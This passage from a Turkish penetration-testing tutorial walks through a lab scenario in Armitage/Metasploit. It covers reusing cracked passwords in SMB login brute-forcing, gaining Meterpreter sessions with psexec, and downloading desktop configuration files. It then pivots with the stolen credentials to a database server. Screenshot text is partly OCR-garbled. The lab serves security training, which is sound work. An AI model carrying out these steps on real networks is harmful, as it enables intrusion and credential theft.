Ardından modül Launch butonuna basılarak başlatılır.



Modülün açtığı tab ekranındaki kırmızı kutucuktan görülebileceği üzere bgaDestek kullanıcısının şifresi aA123456 imiş ve bga kullanıcısının şifresi bga imiş.

Bu elde edilen şifreler sonrası yapılacak iş network'teki tüm ayakta olan cihazlara elde edilen hesap bilgileriyle smb_login çekmektir. Böylelikle bu hesaplar başka bilgisayarlarda da kullanılıyor muyu öğrenmiş oluruz. Şimdi bu işlemi gerçekleştirelim.



Armitage'ın sol sütunundaki smb_login modülüne çift tıklayalım.

scanner/smb/smb_login										
SMB Login Check Scanner										
This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.										
	Value									
DB_ALL_USERS	0									
PASS_FILE +	-									
PRESERVE_DOMAINS	1									
RECORD_GUEST	0									
RHOSTS +										
RPORT	445									
SMBDomain										
SMBPass +	aA123456									
SMBUser +	bgaDestek									
STOP_ON_SUCCESS	0									
THREADS	24									
USER_AS_PASS	1									
USER_FILE +										
USERPASS_FILE +										
VERBOSE	1	V								
Show advanced options										
La	unch									

SMBUser parametresine elde ettiğimiz hesaplardan birinin kullanıcı adını, SMBPass parametresine ise elde ettiğimiz bu hesabın şifresini koyalım. RHOSTS parametresine ise daha önce yerel network'teki taramalarımızda tespit ettiğimiz ve Armitage ekranına monitör olarak gelen ayaktaki bilgisayarların IP'lerini virgülle ayırarak girelim. Ardından Launch diyerek bir dosya paylaşım servisi olan smb_login hizmetine uzak sistemlerde oturum açma denemelerini başlatalım.

Console X exploit X scanner/smb/smb_login X
[*] Auxiliary module running as background job
[*] 192.168.20.152:445 SMB - Starting SMB login bruteforce
[*] 192.168.20.133:445 SMB - Starting SMB login bruteforce
[-] 192.168.20.133:445 SMB - [1/3] - FAILED LOGIN (Windows 7 Ultimate 7600) bgaDestek : [STATUS_LOGON_FAILUR
[-] 192.168.20.152:445 SMB - [1/3] - FAILED LOGIN (Windows 5.1) bgaDestek : [STATUS_LOGON_FAILURE]
[-] 192.168.20.133:445 SMB - [2/3] - FAILED LOGIN (Windows 7 Ultimate 7600) bgaDestek : bgaDestek [STATUS_LOG
[-] 192.168.20.152:445 SMB - [2/3] - FAILED LOGIN (Windows 5.1) bgaDestek : bgaDestek [STATUS_LOGON_FAILURE]
<u>[-] 192.168.20.152:445_SMB - [3/3] - FATLED LOGIN (Windows 5.1) bgaDestek : aA123456 [STATUS_OGON_FATLURE]</u>
[+] 192.168.20.133:445 - SUCCESSFUL LOGIN (Windows 7 Ultimate 7600) bgaDestek : aA123456 [STATUS_SUCCESS]
[*] Username is case insensitive
[*] Domain is ignored
[*] Scanned 2 of 2 hosts (100% complete)

Yeşil renkli satır bize smb servisine login olabildiğimizi söylemektedir. Bu noktadan sonra yapılabilecek şey bu yeşil renkli smb login ile giriş yapılabilen 192.168.20.133 nolu bilgisayara psexec modülü ile sızmaktır (Monitör simgesine sağ tıklayıp Login -> psexec seçeneklerine tıklanarak çalıştırılır).



Modül çalıştıktan sonra bir meterpreter session'ı elde edilecektir.



Session elde edildiğine göre hedef sistemin dizinlerini görelim. Bunun için hedef sistemi temsil eden monitöre sağ tık yapıp Meterpreter 1 -> Explore -> Browse Files seçeneklerine tıklayalım.

192. 168. 20, 152	192, 168, 20, 204 192, 168, 20, 204 er 1 X Meterpreter 1 X Files 1 X	0.117 192.168.20.116 192.16 NT AUTHORITY\SYS	Attack Login Meterpreter 1 Services Browse Files Log Keystrokes Screenshot Webcam Shot	Access Interact Explore Pivoting ARP Scan Kill	
C:\WINDOWS\system32			Post <u>M</u> odules		
D 🔺 Name	Size	Modified	Mode		
1025		2014-05-29 09:47:21 -0400	40777/nwxrwxnwx		
1028		2014-05-29 09:47:21 -0400	40777/nwxrwxnwx		
1031		2014-05-29 09:47:21 -0400	40777/nwxrwxnwx		
II 🗁 1022		2014 05 20 00.47.26 0400	10777/545/545/545		

Yukarıdaki resmin altında görebileceği gibi Files 1 adlı bir tab açılmıştır. Bu tab'ın içeriğinde hedef sistemin dizinleri listelenmiştir. Dizinlerin hemen üstünde ise bulunulan dizini ifade eden

C:\Windows\system32

ibaresi vardır. Şimdi hedef sistemin masaüstü dizinine geçiş yapalım. Çünkü kritik bilgiler genellikle ulaşımı kolay olsun diye masaüstüne konuyor. Bu nedenle

C:\Documents and Settings\bga\Desktop

path'ini aşağıda kırmızı ile vurgulanmış kutucuğa girelim.

Console X nmap X exploit X Meterpreter 1 X Meterpreter 1 X Files 1 X											
	C:\										
D 🔺	Name	Size	Modified		Mode						
	1025		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx						
	1028		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx						
	1031		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx						
	1033		2014-05-29 0	9:47:36 -0400	40777/rwxrwxrwx						
Ê	1037		2014-05-29 0	9:47:21 -0400	40777/rwxrwxrwx						

Yeni listelenen dosyalardan birine sağ tıklayıp Download diyerek uzak sistemdeki dosyayı Meterpreter aracılığıyla indirmiş oluruz. İnen dosyayı görüntülemek için View -> Downloads sekmesine gidilebilir.



İndirilmiş dosyaları listeleyen aşağıdaki tab ekrana gelir.

Console X exploit X Files 5 X										
C:\Users\bgaDestek\Desktop										
D 🔺 Name	Size	Modified	Mode							
Konfigurasyon.txt	139b	2014-06-11 02:34:07 -0400	100666/rw-rw-rw-							
cmd - Shortcut.lnk	13kb	2014-06-11 03:17:01 -0400	100666/rw-rw-rw-							
desktop.ini	282b	2014-06-11 03:16:43 -0400	100666/rw-rw-rw-							

Konfigurasyon.txt dosyasına çift tıkladığımızda ise aşağıdaki tab ekrana gelir.



Böylece hedef sistemin masaüstünde duran konfigurasyon dosyasından hedef veritabanının yüklü olduğu sunucunun hesap bilgisini elde etmiş olduk. Şimdi hedef veritabanı sunucusunun kullanıcı adı ve şifresini öğrendiğimize göre bu hesap bilgisiyle veritabanı sunucusuna sızalım. Bunun için konfigurasyon.txt dosyasından elde ettiğimiz veritabanı sunucusunun IP'sine göre armitage arayüzündeki ilgili monitörü seçelim, sağ tık Login -> psexec diyelim ve yine konfigurasyon.txt dosyasından elde ettiğimiz credentials'ları (bgaDatabase kullanıcı adını ve Data123 şifresini) parametrelere girelim.

Attack 192.168.20.142										
Microsoft Windows Authenticated User Code Execution										
This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SvsInternals. This module is now able to clean up after itself. The service created by this										
Option	▲ Value									
EXE::Custom +										
LHOST	192.168.20.188									
LPORT	29831									
RHOST +	192.168.20.142									
RPORT	445									
SHARE	ADMIN\$									
SMBDomain	WORKGROUP									
SMBPass 🕇	bgaDatabase									
SMBUser + Data123										
Targets: 0 => Automatic 💌										
Use a reverse connection										
Show advanced options										
Launch										

Session elde edildikten sonra masaüstü dizinine gidelim ve veritabanı sunucusundaki konfigurasyon dosyasını indirelim. İnen dosya görüntülendiğinde aşağıdaki içerik ekrana yansıyacaktır.

	Console	X	exploit	X	exploit	Х	Files 5	Х	View	Х	exploit	Х	Files 6	Х	View	Х	
															-		
#																	
#	192.168	3.20	9.142:	Sun	ucu Ko	nfi	gurasyo	on.1	txt								
1	92.168.2	20.1	152 Fai	maD	ata	f	atma123	2									
-	.52110012		1.52 1.0	anab	ucu												

Böylece veritabanı sunucusundaki veritabanı uygulamasının kullanıcı adı ve şifresini elde etmiş olduk. Yani senaryoyu tamamlamış olduk. Artık veritabanına uzaktan bağlanıp dilediğimiz kritik bilgileri çekebiliriz.

(Page 30-49)